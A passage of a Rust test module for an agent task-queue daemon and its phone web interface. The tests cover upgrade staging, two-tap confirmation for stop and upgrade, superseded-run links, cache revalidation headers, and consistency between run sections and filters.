11253    async fn a_loop_the_operator_stopped_is_not_resumed() {
11254        let home = TempDir::new().expect("temp home");
11255        let ui = idle_ui(&home);
11256        ui.start_loop(None).expect("start");
11257        ui.stop_loop(None, false).expect("stop");
11258        ui.park_for_upgrade().expect("park");
11259        assert!(!handed_over(&home, ui).await);
11260    }
11261
11262    #[test]
11263    fn only_an_explicit_one_requests_a_resume() {
11264        assert!(!resume_requested(None));
11265        assert!(!resume_requested(Some("0".into())));
11266        assert!(!resume_requested(Some("".into())));
11267        assert!(resume_requested(Some("1".into())));
11268    }
11269
11270    #[test]
11271    fn the_upgrade_button_arms_before_it_restarts_anything() {
11272        // It ends the process the operator is talking to, and a phone in a
11273        // pocket taps things. One tap arms, the second commits.
11274        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
11275        assert!(APP_JS.contains("Replace the binary and restart?"));
11276        assert!(APP_JS.contains("function confirmed("));
11277        // Hidden when the loop is somebody else's, matching the 409 above -
11278        // and hidden with nothing to install, matching the 200 "already
11279        // current" branch: an operator on the newest build must not be
11280        // offered a restart that would only park a run for nothing.
11281        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
11282        // A park waits for the node in flight, up to an hour for an implement
11283        // wave. Leaving the button reading "Upgrading…" for that long is the
11284        // same mistake as an error rendered off screen: it looks wedged.
11285        assert!(
11286            APP_JS.contains("Parking, then restarting"),
11287            "the button says what it is waiting for"
11288        );
11289        // And nothing to install must give the button back rather than
11290        // pretending a restart is coming.
11291        assert!(APP_JS.contains("if (!out.to)"));
11292    }
11293
11294    #[test]
11295    fn stopping_the_loop_arms_but_starting_does_not() {
11296        // A stray tap must not leave the queue stopped overnight, so a stop is
11297        // two taps through the same helper the upgrade uses; a start stays one.
11298        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
11299        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
11300        assert!(APP_JS.contains("confirmed(button, question)"));
11301        // The label put back on timeout is the one saved when arming, not a
11302        // hard-coded upgrade caption that would rename the stop button.
11303        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
11304        assert!(APP_JS.contains("const label = btn.textContent;"));
11305        assert!(!APP_JS.contains("Neither direction is guarded"));
11306    }
11307
11308    #[test]
11309    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
11310        assert!(
11311            APP_JS.contains("state.health.version"),
11312            "the operator wants to know what is running even with nothing newer"
11313        );
11314        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
11315    }
11316
11317    #[test]
11318    fn the_upgrade_button_names_its_destination() {
11319        assert!(
11320            APP_JS.contains("`Update to ${update.to}`"),
11321            "pressing the button should not be a surprise about what it moves to"
11322        );
11323    }
11324
11325    #[test]
11326    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
11327        for stage in ["downloading", "replaced", "parking", "restarting"] {
11328            assert!(
11329                APP_JS.contains(&format!("\"{stage}\"")),
11330                "the phone must be able to tell {stage} apart from the others"
11331            );
11332        }
11333        assert!(APP_JS.contains(".waiting_on"));
11334        // What replaced the bare "Cannot reach magi: Failed to fetch": a
11335        // fetch failing while an upgrade is in flight is not an error, it is
11336        // the sub-second gap `bind_waiting` covers, and it must not be
11337        // reported as one.
11338        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
11339        assert!(APP_JS.contains("reconnects on its own"));
11340    }
11341
11342    #[test]
11343    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
11344        // `Stage::Failed` is terminal on the server and nothing clears it on
11345        // its own - not a fresh start, not time passing - so a full-strip
11346        // takeover for it (the way the busy stages take the strip over,
11347        // correctly, because those are transient) would have hidden
11348        // start/stop/park behind an upgrade notice with no way back short of
11349        // a person editing `upgrade.json` by hand or a later release
11350        // happening to succeed. The failure must instead ride along as a note
11351        // next to whatever control the loop's own state already offers.
11352        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
11353            ..APP_JS.find("function upgrade(").expect("upgrade")];
11354        assert!(
11355            !body.contains(
11356                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
11357            ),
11358            "a failed upgrade must not take the whole strip over the way it used to"
11359        );
11360        assert!(
11361            body.contains("upgradeFailNote"),
11362            "the failure has to reach the loop's own note instead"
11363        );
11364        // `quiet` and `control` are the only two places `loop-why` is set from
11365        // this function's own state; both must carry the note through, or a
11366        // future edit to either one would silently drop it again.
11367        assert_eq!(
11368            body.matches("upgradeFailNote].filter(Boolean).join")
11369                .count(),
11370            2,
11371            "both loop-why writers (quiet and control) must fold the note in"
11372        );
11373    }
11374
11375    #[test]
11376    fn an_overdue_upgrade_eventually_asks_for_a_human() {
11377        // The ceiling has to clear a full hour-long park with room to spare,
11378        // or an ordinary implement wave would be reported as a stuck upgrade.
11379        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
11380        assert!(APP_JS.contains("function upgradeOverdue("));
11381    }
11382
11383    #[test]
11384    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
11385        assert!(
11386            APP_JS.contains("Updated to ${upgradeInfo.to"),
11387            "the operator who asked for the restart wants to know it worked"
11388        );
11389    }
11390
11391    #[test]
11392    fn an_error_is_visible_from_where_the_button_is() {
11393        // The alert used to sit in the flow under the header. On a phone
11394        // scrolled 13 500 px down to a run's action sheet that is off screen,
11395        // so tapping Resume and being told "the loop is running run b455
11396        // right now" looked exactly like a button that did nothing.
11397        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
11398            ..APP_CSS.find(".alert-text").expect(".alert-text")];
11399        assert!(
11400            alert.contains("position: fixed"),
11401            "an error about the thing under your thumb has to be visible from \
11402             where your thumb is: {alert}"
11403        );
11404        assert!(
11405            alert.contains("z-index: 25"),
11406            "above the dock (20) and the run-actions FAB (15), so neither \
11407             buries it: {alert}"
11408        );
11409        assert!(
11410            alert.contains("var(--tap)"),
11411            "and clear of the dock and the home indicator: {alert}"
11412        );
11413        // The FAB sits at the same height on the right. An error that covered
11414        // it would hide the button the operator reaches for next.
11415        assert!(
11416            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
11417            "the FAB's column stays free: {alert}"
11418        );
11419    }
11420
11421    #[tokio::test]
11422    async fn an_older_attempt_says_what_replaced_it() {
11423        let fx = Fixture::start().await;
11424        let q = fx.queue();
11425        let runs = fx.runs();
11426        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
11427        write_run(&runs, first, RunStatus::Stalled);
11428        write_run(&runs, second, RunStatus::Blocked);
11429
11430        let mut t = Task::new(
11431            "one task".to_owned(),
11432            "do it".to_owned(),
11433            PathBuf::from("/repo"),
11434            Source::Human,
11435        );
11436        t.runs = vec![first.to_owned(), second.to_owned()];
11437        q.put(&mut t).expect("put");
11438
11439        // Two cards with the same title and no hint which is which was the
11440        // question: "why are there two of the same, one stalled and one
11441        // blocked?" The older one now names its replacement.
11442        let rows = fx.get("/api/runs").await.json();
11443        let by = |short: &str| -> Value {
11444            rows.as_array()
11445                .unwrap()
11446                .iter()
11447                .find(|r| r["short"] == short)
11448                .cloned()
11449                .unwrap_or(Value::Null)
11450        };
11451        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
11452        assert!(
11453            by("bbbb")["superseded_by"].is_null(),
11454            "the latest attempt is not superseded by anything"
11455        );
11456        // Front end: the note has to be rendered, not just carried.
11457        assert!(APP_JS.contains("run.superseded_by"));
11458        assert!(APP_JS.contains("Superseded by"));
11459    }
11460
11461    #[tokio::test]
11462    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
11463        // The list route has known this since the card fix above; the detail
11464        // route — what an operator actually opens from a notification about
11465        // a blocked run — did not, and went on showing a bare red BLOCKED
11466        // chip for a run a retry had already finished.
11467        let fx = Fixture::start().await;
11468        let q = fx.queue();
11469        let runs = fx.runs();
11470        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
11471        write_run(&runs, first, RunStatus::Blocked);
11472        write_run(&runs, second, RunStatus::Merged);
11473
11474        let mut t = Task::new(
11475            "one task".to_owned(),
11476            "do it".to_owned(),
11477            PathBuf::from("/repo"),
11478            Source::Human,
11479        );
11480        t.runs = vec![first.to_owned(), second.to_owned()];
11481        q.put(&mut t).expect("put");
11482
11483        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
11484        assert_eq!(earlier["superseded_by"], "dddd");
11485        assert_eq!(earlier["latest_attempt"]["id"], second);
11486        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
11487        assert_eq!(
11488            earlier["latest_attempt"]["resolved"], true,
11489            "the run that replaced it landed, so this one reads as settled"
11490        );
11491
11492        let later = fx.get(&format!("/api/runs/{second}")).await.json();
11493        assert!(
11494            later["superseded_by"].is_null(),
11495            "the latest attempt is not superseded by anything"
11496        );
11497        assert!(
11498            later["latest_attempt"].is_null(),
11499            "the latest attempt has no later attempt of its own"
11500        );
11501
11502        // Front end: the detail page has to read the field this route now
11503        // carries, downgrade the chip, and link to the run that replaced it —
11504        // not just repeat the list card's own logic under a different name.
11505        // The link is built off `latest_attempt.id`, the server-resolved
11506        // full id, never a bare short string a client would have to guess a
11507        // full run from.
11508        assert!(APP_JS.contains("run.latest_attempt"));
11509        assert!(APP_JS.contains("data-superseded"));
11510        assert!(APP_JS.contains("#/runs/${latest.id}"));
11511    }
11512
11513    #[tokio::test]
11514    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
11515        // A -> B -> C, all Blocked except the last. A's immediate successor
11516        // (superseded_by) is B, which is itself unresolved; what an operator
11517        // opening A's page actually needs is where the task's story stands
11518        // *now* - C, not B - without depending on whether C happens to be in
11519        // whatever page of /api/runs the client last cached.
11520        let fx = Fixture::start().await;
11521        let q = fx.queue();
11522        let runs = fx.runs();
11523        let (a, b, c) = (
11524            "20260901-000000-aaaa",
11525            "20260901-000000-bbbb",
11526            "20260901-000000-cccc",
11527        );
11528        write_run(&runs, a, RunStatus::Blocked);
11529        write_run(&runs, b, RunStatus::Blocked);
11530        write_run(&runs, c, RunStatus::Merged);
11531
11532        let mut t = Task::new(
11533            "retried twice".to_owned(),
11534            "do it".to_owned(),
11535            PathBuf::from("/repo"),
11536            Source::Human,
11537        );
11538        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
11539        q.put(&mut t).expect("put");
11540
11541        let view = fx.get(&format!("/api/runs/{a}")).await.json();
11542        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
11543        assert_eq!(
11544            view["latest_attempt"]["id"], c,
11545            "the chain's current head, not the intermediate Blocked retry"
11546        );
11547        assert_eq!(view["latest_attempt"]["resolved"], true);
11548
11549        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
11550        assert_eq!(mid["latest_attempt"]["id"], c);
11551        assert_eq!(mid["latest_attempt"]["resolved"], true);
11552    }
11553
11554    #[tokio::test]
11555    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
11556        let fx = Fixture::start().await;
11557        let q = fx.queue();
11558        let runs = fx.runs();
11559
11560        // Still Blocked: the task is not resolved, so the older run must not
11561        // read as settled either.
11562        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
11563        write_run(&runs, still_blocked_a, RunStatus::Blocked);
11564        write_run(&runs, still_blocked_b, RunStatus::Blocked);
11565        let mut t1 = Task::new(
11566            "still stuck".to_owned(),
11567            "do it".to_owned(),
11568            PathBuf::from("/repo"),
11569            Source::Human,
11570        );
11571        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
11572        q.put(&mut t1).expect("put");
11573        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
11574        assert_eq!(view1["latest_attempt"]["resolved"], false);
11575
11576        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
11577        // to check - not a confirmed finish, so this must not read as
11578        // resolved either, even though the run is done in the sense that
11579        // nothing is still running.
11580        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
11581        write_run(&runs, noop_a, RunStatus::Blocked);
11582        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
11583        let mut t2 = Task::new(
11584            "claims done".to_owned(),
11585            "do it".to_owned(),
11586            PathBuf::from("/repo"),
11587            Source::Human,
11588        );
11589        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
11590        q.put(&mut t2).expect("put");
11591        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
11592        assert_eq!(
11593            view2["latest_attempt"]["resolved"], false,
11594            "an unverified no-op claim must not read as a confirmed finish"
11595        );
11596
11597        // Front end: an unresolved successor must not carry the "finished
11598        // this work" note or the muted chip treatment.
11599        assert!(APP_JS.contains("latest.resolved"));
11600    }
11601
11602    #[tokio::test]
11603    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
11604        let fx = Fixture::start().await;
11605        // No cache header at all meant browsers invented their own policy,
11606        // and one did: a phone went on showing "Candidates must be folded
11607        // before deleting. Run `magi fold` first." - deleted two releases
11608        // earlier - from a deck that no longer contained the sentence. The
11609        // button it named was right there, and unreachable.
11610        let js = fx.get("/app.js").await;
11611        assert_eq!(js.status, 200);
11612        let tag = js
11613            .header("etag")
11614            .expect("an etag to revalidate against")
11615            .to_owned();
11616        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
11617        assert_eq!(
11618            js.header("cache-control"),
11619            Some("no-cache, must-revalidate"),
11620            "the phone has to ask every time"
11621        );
11622
11623        // And the asking has to be cheap, or `must-revalidate` just means
11624        // "send the whole interface on every load".
11625        let again = fx
11626            .get_with("/app.js", &[("if-none-match", tag.as_str())])
11627            .await;
11628        assert_eq!(
11629            again.status, 304,
11630            "a deck it already has costs one round trip"
11631        );
11632        assert!(again.body.is_empty(), "304 carries no body");
11633
11634        // A weakened tag from a proxy still matches; a different build does
11635        // not, which is the case that has to deliver the new interface.
11636        let weak = fx
11637            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
11638            .await;
11639        assert_eq!(weak.status, 304);
11640        let stale = fx
11641            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
11642            .await;
11643        assert_eq!(stale.status, 200, "an older build must be replaced");
11644        assert!(stale.body.contains("renderRunActions"));
11645    }
11646
11647    #[test]
11648    fn the_deck_never_sends_the_operator_to_a_terminal() {
11649        // The whole point of the phone UI is that a terminal is not needed.
11650        // The delete control used to answer with "Run `magi fold` first."
11651        assert!(
11652            !APP_JS.contains("Run `magi fold` first"),
11653            "the deck must offer the fold, not prescribe a shell command"
11654        );
11655        assert!(APP_JS.contains("foldRun:"));
11656        assert!(APP_JS.contains("resumeRun:"));
11657        assert!(APP_JS.contains("renderRunActions"));
11658
11659        // Folding is destructive and armed in two steps, like deleting.
11660        assert!(APP_JS.contains("armedFold"));
11661        assert!(APP_JS.contains("Yes, fold worktrees"));
11662
11663        // And the copy has to say that the two actions are opposites, because
11664        // folding throws away exactly what a resume would continue from.
11665        assert!(APP_JS.contains("can no longer be resumed"));
11666    }
11667
11668    #[test]
11669    fn a_finished_run_explains_itself_with_its_own_last_line() {
11670        // The deck used to answer "why did this stop?" with a sentence chosen
11671        // by status alone. Run e633 stalled because two judges answered with
11672        // the wrong JSON shape and its card said "The panel collapsed on
11673        // agent quota" - with `quota: []` in the record and a quota-loss
11674        // counter right above it that correctly said nothing.
11675        assert!(
11676            !APP_JS.contains("collapsed on agent quota"),
11677            "a stall must not be explained by a cause the deck did not check"
11678        );
11679        assert!(
11680            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
11681            "and a block must not offer a guess with an `or` in it"
11682        );
11683
11684        // The reason it does have is `run.event`, which must reach finished
11685        // runs: gating it on movement hid the recorded truth at the one moment
11686        // the operator is reading the card to find out what happened.
11687        assert!(
11688            APP_JS.contains("setText(r.event, run.event || \"\")"),
11689            "the run's last line is rendered unconditionally"
11690        );
11691        assert!(
11692            !APP_JS.contains("moving && run.event"),
11693            "and never gated on the run still moving"
11694        );
11695
11696        // Quota keeps its own counter, fed by the number actually recorded.
11697        assert!(APP_JS.contains("lost to quota"));
11698    }
11699
11700    /// The runs tree (section) and the state chips (waiting/done) are two
11701    /// independent lenses ANDed together in `renderRuns`, and some pairings
11702    /// can never both be true for any run - every "Landed"/"Ended" run is
11703    /// done by construction, so pairing either with "Active" or "In flight"
11704    /// always rendered zero cards with the filter bar still claiming
11705    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
11706    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
11707    /// a handful of (waiting, status) shapes standing in for the run
11708    /// lifecycle, because `cargo test` cannot execute the front end.
11709    ///
11710    /// That stand-in list is itself the part that drifted twice in review:
11711    /// once shipped with `waiting: true` paired with a done status the
11712    /// lifecycle cannot produce, then over-corrected into treating every
11713    /// waiting run as never done - which made "Waiting on you" look
11714    /// incompatible with "Done" even for the one real, reachable shape
11715    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
11716    /// that combination. This test parses the shapes and the done-rule back
11717    /// out of `APP_JS`, reimplements `runSection` and the five state
11718    /// predicates independently in Rust, and checks the resulting
11719    /// section/filter compatibility table against the lifecycle rules by
11720    /// hand - so either direction of drift fails it again.
11721    #[test]
11722    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
11723        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
11724        let shapes_body_start =
11725            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
11726        let shapes_close = APP_JS[shapes_body_start..]
11727            .find("].map(")
11728            .expect("the shape list is closed by its done-computing .map(...)")
11729            + shapes_body_start;
11730        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
11731
11732        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
11733        for entry in shapes_src.split('{').skip(1) {
11734            let waiting = entry.contains("waiting: true");
11735            let dead = entry.contains("live: \"dead\"");
11736            let status_at =
11737                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
11738            let status_end = entry[status_at..]
11739                .find('"')
11740                .expect("the status string is closed")
11741                + status_at;
11742            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
11743        }
11744        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
11745
11746        // The done rule itself (`!["implementing"].includes(shape.status)`),
11747        // read out of the source rather than hardcoded, so a renamed
11748        // in-flight status can't silently make every parsed shape "done".
11749        let done_rule_marker = "done: !";
11750        let done_rule_at = APP_JS[shapes_close..]
11751            .find(done_rule_marker)
11752            .expect("the done rule follows the shape list")
11753            + shapes_close
11754            + done_rule_marker.len();
11755        let includes_at = APP_JS[done_rule_at..]
11756            .find(".includes(shape.status)")
11757            .expect("the done rule ends in .includes(shape.status)")
11758            + done_rule_at;
11759        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
11760            .trim()
11761            .trim_start_matches('[')
11762            .trim_end_matches(']')
11763            .split(',')
11764            .map(|s| s.trim().trim_matches('"'))
11765            .filter(|s| !s.is_empty())
11766            .collect();
11767
11768        let shapes: Vec<(bool, String, bool, bool)> = shapes
11769            .into_iter()
11770            .map(|(waiting, status, dead)| {
11771                let done = !not_done.contains(&status.as_str());
11772                (waiting, status, dead, done)
11773            })
11774            .collect();
11775
11776        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
11777        // outright, then merged/ready land, stalled/blocked/failed/
11778        // verified_noop end, and everything else is still in flight.
11779        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
11780            if waiting {
11781                return "waiting";
11782            }
11783            if dead
11784                && !matches!(
11785                    status,
11786                    "merged"
11787                        | "ready"
11788                        | "stalled"
11789                        | "blocked"
11790                        | "failed"
11791                        | "verified_noop"
11792                        | "superseded"
11793                        | "already_in_base"
11794                )
11795            {
11796                return "stale";
11797            }
11798            match status {
11799                "merged" | "ready" => "landed",
11800                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
11801                | "already_in_base" => "ended",
11802                _ => "flight",
11803            }
11804        }
11805
11806        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
11807        // way.
11808        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
11809            match filter_key {
11810                "active" => !done,
11811                "flight" => !done && !waiting && !dead,
11812                "stale" => !done && !waiting && dead,
11813                "waiting" => waiting,
11814                "done" => done,
11815                "all" => true,
11816                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
11817            }
11818        }
11819
11820        let compatible = |section: &str, filter_key: &str| {
11821            shapes.iter().any(|(waiting, status, dead, done)| {
11822                run_section(*waiting, status, *dead) == section
11823                    && filter_matches(filter_key, *waiting, *dead, *done)
11824            })
11825        };
11826
11827        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
11828        // (active, flight, stale, waiting, done, all) - hand-derived from the
11829        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
11830        // currently contains.
11831        let expected = [
11832            ("waiting", [true, false, false, true, true, true]),
11833            ("stale", [true, false, true, false, false, true]),
11834            ("flight", [true, true, false, false, false, true]),
11835            ("landed", [false, false, false, false, true, true]),
11836            ("ended", [false, false, false, false, true, true]),
11837        ];
11838        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
11839
11840        for (section, wants) in expected {
11841            for (filter_key, want) in filter_keys.iter().zip(wants) {
11842                assert_eq!(
11843                    compatible(section, filter_key),
11844                    want,
11845                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
11846                );
11847            }
11848        }
11849
11850        // The compatibility check exists only to be acted on: both pickers
11851        // must actually consult it rather than just render its answer.
11852        assert!(
11853            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
11854        );
11855        assert!(APP_JS.contains(
11856            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
11857        ));
11858        assert!(APP_JS.contains(
11859            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
11860        ));
11861    }
11862
11863    #[tokio::test]
11864    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
11865        // An operator-named directory - git checkout or not - is never
11866        // second-guessed, even when it does not exist at all: only the
11867        // flag's own unmodified `.` default is ever eligible for discovery.
11868        let dir = tempfile::tempdir().expect("tempdir");
11869        let explicit = dir.path().join("not-a-checkout");
11870        std::fs::create_dir_all(&explicit).expect("create dir");
11871        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
11872
11873        let missing = dir.path().join("does-not-exist-at-all");
11874        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
11875    }
11876}